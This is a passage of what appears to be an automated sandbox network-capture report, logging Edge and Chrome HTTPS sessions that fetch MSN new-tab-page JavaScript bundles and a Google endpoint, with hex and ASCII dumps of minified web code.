ke},WaffleWC:function(){retur
2024-04-23 21:02:24 UTC	9346	IN	Data Raw: 36 34 22 20 68 65 69 67 68 74 3d 22 36 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 36 34 20 36 34 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 0a 20 20 20 20 3c 67 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 63 6c 69 70 30 29 22 3e 0a 20 20 20 20 20 20 20 20 3c 67 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 63 6c 69 70 31 29 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 32 36 2e 34 34 20 36 34 2e 30 30 30 31 43 33 39 2e 39 33 37 38 20 36 34 2e 30 30 30 31 20 35 30 2e 38 38 20 35 33 2e 30 35 38 20 35 30 2e 38 38 20 33 39 2e 35 36 30 31 43 35 30 2e 38 38 20 32 36 2e 30 36 32 33 20 33 39 2e 39 33 37 38 20 31 35 2e 31 32 30 31 20 32 36 2e 34 34 20 31 35 2e 31 32 30 31 43 31 32 2e 39 34 32 32 20 31 35 2e 31 32 30 31 Data Ascii: 64" height="64" viewBox="0 0 64 64" fill="none"> <g clip-path="url(#clip0)"> <g clip-path="url(#clip1)"> <path d="M26.44 64.0001C39.9378 64.0001 50.88 53.058 50.88 39.5601C50.88 26.0623 39.9378 15.1201 26.44 15.1201C12.9422 15.1201
2024-04-23 21:02:24 UTC	4522	IN	Data Raw: 61 70 70 73 2d 6d 6f 64 75 6c 65 2d 74 69 6c 65 73 22 3e 24 7b 28 30 2c 61 65 2e 72 78 29 28 28 65 3d 3e 65 2e 61 70 70 73 4c 69 73 74 29 2c 72 65 2c 7b 70 6f 73 69 74 69 6f 6e 69 6e 67 3a 21 30 7d 29 7d 3c 2f 64 69 76 3e 3c 66 6c 75 65 6e 74 2d 61 6e 63 68 6f 72 20 61 70 70 65 61 72 61 6e 63 65 3d 22 6c 69 67 68 74 77 65 69 67 68 74 22 20 63 6c 61 73 73 3d 22 61 6c 6c 2d 61 70 70 73 2d 6c 69 6e 6b 22 20 68 72 65 66 3d 24 7b 65 3d 3e 65 2e 61 6c 6c 41 70 70 73 4c 69 6e 6b 7d 20 64 61 74 61 2d 74 3d 22 24 7b 65 3d 3e 28 28 29 3d 3e 7b 76 61 72 20 65 3b 63 6f 6e 73 74 20 74 3d 7b 6e 61 6d 65 3a 22 41 6c 6c 41 70 70 73 4c 69 6e 6b 22 2c 61 63 74 69 6f 6e 3a 55 2e 41 77 2e 43 6c 69 63 6b 2c 62 65 68 61 76 69 6f 72 3a 55 2e 77 75 2e 4e 61 76 69 67 61 74 65 2c Data Ascii: apps-module-tiles">${(0,ae.rx)((e=>e.appsList),re,{positioning:!0})}</div><fluent-anchor appearance="lightweight" class="all-apps-link" href=${e=>e.allAppsLink} data-t="${e=>(()=>{var e;const t={name:"AllAppsLink",action:U.Aw.Click,behavior:U.wu.Navigate,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49864	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:23 UTC	635	OUT	GET /bundles/v1/edgeChromium/latest/common-segments.11aff16404408a58d3d2.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:23 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: Iqdtx7hhk98NXNAz4br/lA== Last-Modified: Thu, 18 Apr 2024 20:59:13 GMT ETag: 0x8DC5FEA66D4F1CD Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: fbb32c9e-f01e-0024-12d3-915785000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:23 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402747271,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016f87 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906143.18016f87 Vary: Origin
2024-04-23 21:02:23 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 63 6f 6d 6d 6f 6e 2d 73 65 67 6d 65 6e 74 73 22 5d 2c 7b 39 37 33 31 31 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 61 2e 64 28 74 2c 7b 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 70 7d 7d 29 3b 76 61 72 20 69 3d 61 28 33 33 39 34 30 29 2c 6e 3d 61 28 34 37 32 36 36 29 2c 6f 3d 61 28 39 39 34 35 32 29 2c 72 3d 61 28 37 39 35 34 35 29 2c 73 3d 61 28 38 32 38 39 38 Data Ascii: 00006000"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["common-segments"],{97311:function(e,t,a){a.d(t,{a:function(){return p}});var i=a(33940),n=a(47266),o=a(99452),r=a(79545),s=a(82898
2024-04-23 21:02:24 UTC	9395	IN	Data Raw: 67 68 74 3a 36 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 63 6f 6c 6f 72 3a 23 32 34 32 34 32 34 3b 6d 61 78 2d 77 69 64 74 68 3a 32 33 32 70 78 3b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 69 73 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 2e 73 64 2d 6d 61 73 6b 2d 63 6f 6e 74 65 78 74 2d 62 75 74 74 6f 6e 2d 68 61 6c 66 2d 74 65 78 74 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 73 64 2d 6d 61 73 6b 2d 63 6f 6e 74 65 78 74 2d 63 61 6e 63 65 6c 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 63 6f 6c 6f 72 3a 23 Data Ascii: ght:600;font-size:14px;line-height:20px;color:#242424;max-width:232px;text-overflow:ellipsis;overflow:hidden}.sd-mask-context-button-half-text{font-size:12px;line-height:16px;font-weight:400}.sd-mask-context-cancel{font-weight:600;line-height:20px;color:#
2024-04-23 21:02:24 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 68 2e 77 75 2e 50 61 67 69 6e 61 74 65 2c 74 79 70 65 3a 68 2e 63 39 2e 41 63 74 69 6f 6e 42 75 74 74 6f 6e 2c 63 6f 6e 74 65 6e 74 3a 7b 2e 2e 2e 6e 75 6c 6c 3d 3d 74 7c 7c 6e 75 6c 6c 3d 3d 3d 28 6f 3d 74 2e 63 6f 6e 74 72 61 63 74 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6f 3f 76 6f 69 64 20 30 3a 6f 2e 63 6f 6e 74 65 6e 74 2c 68 65 61 64 6c 69 6e 65 3a 28 6e 75 6c 6c 3d 3d 3d 28 72 3d 61 2e 74 65 6c 65 6d 65 74 72 79 48 65 61 64 6c 69 6e 65 73 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 72 3f 76 6f 69 64 20 30 3a 72 2e 70 61 67 69 6e 61 74 69 6f 6e 50 72 65 76 69 6f 75 73 29 7c 7c 28 6e 75 6c 6c 3d 3d 69 3f 76 6f 69 64 20 30 3a 69 2e 70 72 65 76 69 6f 75 73 46 6c 69 70 70 65 72 54 69 74 6c 65 29 7d 2c 6f 76 65 72 72 69 64 65 44 65 73 Data Ascii: 00006000h.wu.Paginate,type:h.c9.ActionButton,content:{...null==t\|\|null===(o=t.contract)\|\|void 0===o?void 0:o.content,headline:(null===(r=a.telemetryHeadlines)\|\|void 0===r?void 0:r.paginationPrevious)\|\|(null==i?void 0:i.previousFlipperTitle)},overrideDes
2024-04-23 21:02:24 UTC	8204	IN	Data Raw: 7c 76 6f 69 64 20 30 3d 3d 3d 64 3f 76 6f 69 64 20 30 3a 64 2e 66 6f 6c 6c 6f 77 49 6e 74 65 72 65 73 74 73 54 69 74 6c 65 2c 61 72 69 61 4c 61 62 65 6c 3a 6e 75 6c 6c 3d 3d 69 7c 7c 6e 75 6c 6c 3d 3d 3d 28 6c 3d 69 2e 73 74 72 69 6e 67 73 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6c 3f 76 6f 69 64 20 30 3a 6c 2e 66 6f 6c 6c 6f 77 49 6e 74 65 72 65 73 74 73 54 69 74 6c 65 2c 6f 6e 43 6c 69 63 6b 3a 61 73 79 6e 63 28 29 3d 3e 7b 74 68 69 73 2e 61 63 74 69 6f 6e 4d 65 6e 75 49 74 65 6d 43 6c 69 63 6b 28 30 29 7d 2c 74 65 6c 65 6d 65 74 72 79 54 61 67 3a 61 7d 29 7d 69 66 28 74 68 69 73 2e 68 65 61 64 65 72 44 61 74 61 2e 69 6e 74 65 72 65 73 74 4d 65 6e 75 44 61 74 61 26 26 21 31 21 3d 3d 28 6e 75 6c 6c 3d 3d 69 3f 76 6f 69 64 20 30 3a 69 2e 69 73 4d 61 6e 61 67 Data Ascii: \|void 0===d?void 0:d.followInterestsTitle,ariaLabel:null==i\|\|null===(l=i.strings)\|\|void 0===l?void 0:l.followInterestsTitle,onClick:async()=>{this.actionMenuItemClick(0)},telemetryTag:a})}if(this.headerData.interestMenuData&&!1!==(null==i?void 0:i.isManag
2024-04-23 21:02:24 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 61 64 65 72 44 61 74 61 2e 74 69 74 6c 65 54 6f 6f 6c 74 69 70 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 69 73 54 69 74 6c 65 54 6f 6f 6c 74 69 70 29 26 26 28 28 6e 75 6c 6c 3d 3d 3d 28 61 3d 65 2e 68 65 61 64 65 72 44 61 74 61 2e 74 69 74 6c 65 54 6f 6f 6c 74 69 70 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 61 3f 76 6f 69 64 20 30 3a 61 2e 74 6f 6f 6c 74 69 70 54 65 78 74 29 3f 3f 65 2e 68 65 61 64 65 72 44 61 74 61 2e 74 69 74 6c 65 29 7d 7d 22 3e 24 7b 28 30 2c 73 2e 67 29 28 28 65 3d 3e 65 2e 68 65 61 64 65 72 44 61 74 61 2e 68 65 61 64 65 72 4c 6f 67 6f 29 2c 6f 2e 64 79 60 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 2d 69 63 6f 6e 22 20 73 6c 6f 74 3d 22 69 63 6f 6e 22 3e 24 7b 65 3d 3e 65 Data Ascii: 00004000aderData.titleTooltip)\|\|void 0===t?void 0:t.isTitleTooltip)&&((null===(a=e.headerData.titleTooltip)\|\|void 0===a?void 0:a.tooltipText)??e.headerData.title)}}">${(0,s.g)((e=>e.headerData.headerLogo),o.dy`<div class="header-icon" slot="icon">${e=>e
2024-04-23 21:02:24 UTC	12	IN	Data Raw: 68 69 73 2e 63 6f 6e 66 69 67 0d 0a Data Ascii: his.config
2024-04-23 21:02:24 UTC	11792	IN	Data Raw: 30 30 30 30 32 45 30 34 0d 0a 3d 42 2e 4c 2e 67 65 74 43 6f 6e 66 69 67 28 29 29 2c 74 68 69 73 2e 64 61 74 61 26 26 28 74 68 69 73 2e 64 61 74 61 2e 69 6d 6d 65 72 73 69 76 65 43 61 72 64 26 26 74 68 69 73 2e 64 61 74 61 2e 69 6d 61 67 65 44 61 74 61 26 26 21 74 68 69 73 2e 64 61 74 61 2e 64 61 72 6b 49 6d 6d 65 72 73 69 76 65 49 6d 61 67 65 26 26 21 74 68 69 73 2e 64 61 74 61 2e 6c 69 67 68 74 49 6d 6d 65 72 73 69 76 65 49 6d 61 67 65 26 26 28 74 68 69 73 2e 64 61 74 61 2e 64 61 72 6b 49 6d 6d 65 72 73 69 76 65 49 6d 61 67 65 3d 74 68 69 73 2e 64 61 74 61 2e 69 6d 61 67 65 44 61 74 61 2c 74 68 69 73 2e 64 61 74 61 2e 6c 69 67 68 74 49 6d 6d 65 72 73 69 76 65 49 6d 61 67 65 3d 74 68 69 73 2e 64 61 74 61 2e 69 6d 61 67 65 44 61 74 61 29 2c 74 68 69 73 2e Data Ascii: 00002E04=B.L.getConfig()),this.data&&(this.data.immersiveCard&&this.data.imageData&&!this.data.darkImmersiveImage&&!this.data.lightImmersiveImage&&(this.data.darkImmersiveImage=this.data.imageData,this.data.lightImmersiveImage=this.data.imageData),this.
2024-04-23 21:02:24 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 2e 66 37 2e 64 65 66 69 6e 65 28 70 2e 73 2e 72 65 67 69 73 74 72 79 29 2c 4c 65 2e 4a 68 2e 64 65 66 69 6e 65 28 70 2e 73 2e 72 65 67 69 73 74 72 79 29 7d 7d 2c 39 32 30 32 33 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 61 2e 64 28 74 2c 7b 46 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 70 7d 7d 29 3b 76 61 72 20 69 3d 61 28 31 33 37 31 30 29 2c 6e 3d 61 28 37 37 36 31 35 29 2c 6f 3d 61 28 37 37 30 36 31 29 2c 72 3d 61 28 32 36 33 37 34 29 2c 73 3d 61 28 34 39 32 31 38 29 2c 64 3d 61 28 39 38 39 30 35 29 3b 63 6f 6e 73 74 20 6c 3d 73 2e 64 79 60 0a 20 20 20 20 3c 64 69 76 20 0a 20 20 20 20 20 20 20 20 73 6c 6f 74 3d 22 68 65 61 64 65 72 22 20 0a 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c Data Ascii: 00004000.f7.define(p.s.registry),Le.Jh.define(p.s.registry)}},92023:function(e,t,a){a.d(t,{F:function(){return p}});var i=a(13710),n=a(77615),o=a(77061),r=a(26374),s=a(49218),d=a(98905);const l=s.dy` <div slot="header" style="displ
2024-04-23 21:02:24 UTC	12	IN	Data Raw: 72 61 6c 22 5d 3a 61 63 74 69 0d 0a Data Ascii: ral"]:acti
2024-04-23 21:02:24 UTC	9884	IN	Data Raw: 30 30 30 30 32 36 39 30 0d 0a 76 65 29 2c 3a 3a 73 6c 6f 74 74 65 64 28 66 6c 75 65 6e 74 2d 61 6e 63 68 6f 72 5b 61 70 70 65 61 72 61 6e 63 65 3d 22 6e 65 75 74 72 61 6c 22 5d 3a 61 63 74 69 76 65 29 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 24 7b 6c 2e 63 31 7d 7d 3a 3a 73 6c 6f 74 74 65 64 28 66 6c 75 65 6e 74 2d 61 6e 63 68 6f 72 29 2c 3a 3a 73 6c 6f 74 74 65 64 28 66 6c 75 65 6e 74 2d 62 75 74 74 6f 6e 29 2c 3a 3a 73 6c 6f 74 74 65 64 28 5b 73 6c 6f 74 3d 22 70 61 67 69 6e 61 74 69 6f 6e 22 5d 29 7b 7a 2d 69 6e 64 65 78 3a 24 7b 63 2e 6b 7d 7d 3a 3a 73 6c 6f 74 74 65 64 28 5b 73 6c 6f 74 3d 22 70 61 67 69 6e 61 74 69 6f 6e 22 5d 29 7b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 61 75 74 6f 7d 60 2e 77 69 74 68 42 65 68 61 76 69 6f 72 73 28 Data Ascii: 00002690ve),::slotted(fluent-anchor[appearance="neutral"]:active){border-color:${l.c1}}::slotted(fluent-anchor),::slotted(fluent-button),::slotted([slot="pagination"]){z-index:${c.k}}::slotted([slot="pagination"]){margin-inline-end:auto}`.withBehaviors(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49865	172.253.124.104	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:23 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 21:02:24 UTC	1479	IN	HTTP/1.1 200 OK Version: 625470213 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= Content-Disposition: attachment; filename="f.txt" Date: Tue, 23 Apr 2024 21:02:24 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-23 21:02:24 UTC	25	IN	Data Raw: 31 33 0d 0a 29 5d 7d 27 0a 7b 22 64 64 6c 6a 73 6f 6e 22 3a 7b 7d 7d 0d 0a Data Ascii: 13)]}'{"ddljson":{}}
2024-04-23 21:02:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49866	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:23 UTC	720	OUT	GET /bundles/v1/edgeChromium/latest/cs-core-desktop_card-components_dist_card-banner_index_js-cs-core-desktop_card-components_dis-cef191.888669d9cc0659b01a27.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:24 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: 0Qxku446YFrb44n0TtLEow== Last-Modified: Mon, 22 Apr 2024 19:59:14 GMT ETag: 0x8DC6306AF33A0DA Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 35c4c26c-701e-0084-47ef-9491e3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:24 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402747410,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18017012 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906144.18017012 Vary: Origin
2024-04-23 21:02:24 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 63 73 2d 63 6f 72 65 2d 64 65 73 6b 74 6f 70 5f 63 61 72 64 2d 63 6f 6d 70 6f 6e 65 6e 74 73 5f 64 69 73 74 5f 63 61 72 64 2d 62 61 6e 6e 65 72 5f 69 6e 64 65 78 5f 6a 73 2d 63 73 2d 63 6f 72 65 2d 64 65 73 6b 74 6f 70 5f 63 61 72 64 2d 63 6f 6d 70 6f 6e 65 6e 74 73 5f 64 69 73 2d 63 65 66 31 39 31 22 5d 2c 7b 31 39 36 32 35 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 69 29 7b 69 2e 64 28 Data Ascii: 00006000"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["cs-core-desktop_card-components_dist_card-banner_index_js-cs-core-desktop_card-components_dis-cef191"],{19625:function(t,e,i){i.d(
2024-04-23 21:02:24 UTC	9395	IN	Data Raw: 22 76 70 22 3d 3d 3d 64 2e 63 2e 67 65 74 51 75 65 72 79 50 61 72 61 6d 65 74 65 72 42 79 4e 61 6d 65 28 22 72 65 71 73 72 63 22 2c 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 7c 7c 22 31 22 3d 3d 3d 64 2e 63 2e 67 65 74 51 75 65 72 79 50 61 72 61 6d 65 74 65 72 42 79 4e 61 6d 65 28 22 76 70 74 65 73 74 22 2c 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 3f 30 3a 32 30 30 3b 63 6c 61 73 73 20 75 20 65 78 74 65 6e 64 73 20 61 2e 71 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 73 75 70 65 72 28 2e 2e 2e 61 72 67 75 6d 65 6e 74 73 29 2c 74 68 69 73 2e 69 73 4e 6f 74 69 66 69 63 61 74 69 6f 6e 54 6f 61 73 74 56 69 73 69 62 6c 65 3d 21 31 2c 74 68 69 73 2e 72 65 66 72 65 73 68 46 6f 6c 6c 6f 77 53 74 61 74 75 73 3d 31 2c 74 68 69 73 2e 6e 6f 74 69 66 69 63 61 74 69 Data Ascii: "vp"===d.c.getQueryParameterByName("reqsrc",location.href)\|\|"1"===d.c.getQueryParameterByName("vptest",location.href)?0:200;class u extends a.q{constructor(){super(...arguments),this.isNotificationToastVisible=!1,this.refreshFollowStatus=1,this.notificati
2024-04-23 21:02:24 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 73 6f 6c 69 64 20 23 37 36 37 36 37 36 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 30 70 78 7d 2e 64 65 74 61 69 6c 65 64 2d 69 6e 66 6f 72 6d 61 74 69 6f 6e 2d 6c 69 6e 6b 7b 63 6f 6c 6f 72 3a 23 39 39 45 42 46 46 7d 2e 64 65 74 61 69 6c 65 64 2d 69 6e 66 6f 72 6d 61 74 69 6f 6e 2d 6c 69 6e 6b 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 36 30 43 44 46 46 7d 2e 64 65 74 61 69 6c 65 64 2d 69 6e 66 6f 72 6d 61 74 69 6f 6e 2d 6c 69 6e 6b 3a 66 6f 63 75 73 7b 63 6f 6c 6f 72 3a 24 7b 62 2e 44 39 7d 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 2e 73 65 61 72 63 68 2d 6f 70 74 69 6f 6e 73 2d 6c 61 62 65 6c 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 7d 2e 76 69 73 75 61 6c 6c 79 68 69 64 64 65 Data Ascii: 00006000solid #767676;border-radius:20px}.detailed-information-link{color:#99EBFF}.detailed-information-link:hover{color:#60CDFF}.detailed-information-link:focus{color:${b.D9};text-decoration:underline}.search-options-label{margin-top:8px}.visuallyhidde
2024-04-23 21:02:24 UTC	8204	IN	Data Raw: 46 6c 69 70 70 65 72 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 72 3f 76 6f 69 64 20 30 3a 72 2e 67 65 74 4d 65 74 61 64 61 74 61 54 61 67 28 29 29 3f 3f 28 6e 75 6c 6c 3d 3d 6f 3f 76 6f 69 64 20 30 3a 6f 2e 61 64 64 4f 72 55 70 64 61 74 65 43 68 69 6c 64 28 7b 2e 2e 2e 6e 75 6c 6c 3d 3d 6f 3f 76 6f 69 64 20 30 3a 6f 2e 63 6f 6e 74 72 61 63 74 2c 6e 61 6d 65 3a 22 6e 65 78 74 73 6c 69 64 65 61 72 72 6f 77 22 2c 61 63 74 69 6f 6e 3a 24 2e 41 77 2e 43 6c 69 63 6b 2c 62 65 68 61 76 69 6f 72 3a 24 2e 77 75 2e 50 61 67 69 6e 61 74 65 2c 74 79 70 65 3a 24 2e 63 39 2e 41 63 74 69 6f 6e 42 75 74 74 6f 6e 2c 63 6f 6e 74 65 6e 74 3a 7b 2e 2e 2e 6e 75 6c 6c 3d 3d 6f 7c 7c 6e 75 6c 6c 3d 3d 3d 28 6c 3d 6f 2e 63 6f 6e 74 72 61 63 74 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6c 3f Data Ascii: Flipper)\|\|void 0===r?void 0:r.getMetadataTag())??(null==o?void 0:o.addOrUpdateChild({...null==o?void 0:o.contract,name:"nextslidearrow",action:$.Aw.Click,behavior:$.wu.Paginate,type:$.c9.ActionButton,content:{...null==o\|\|null===(l=o.contract)\|\|void 0===l?
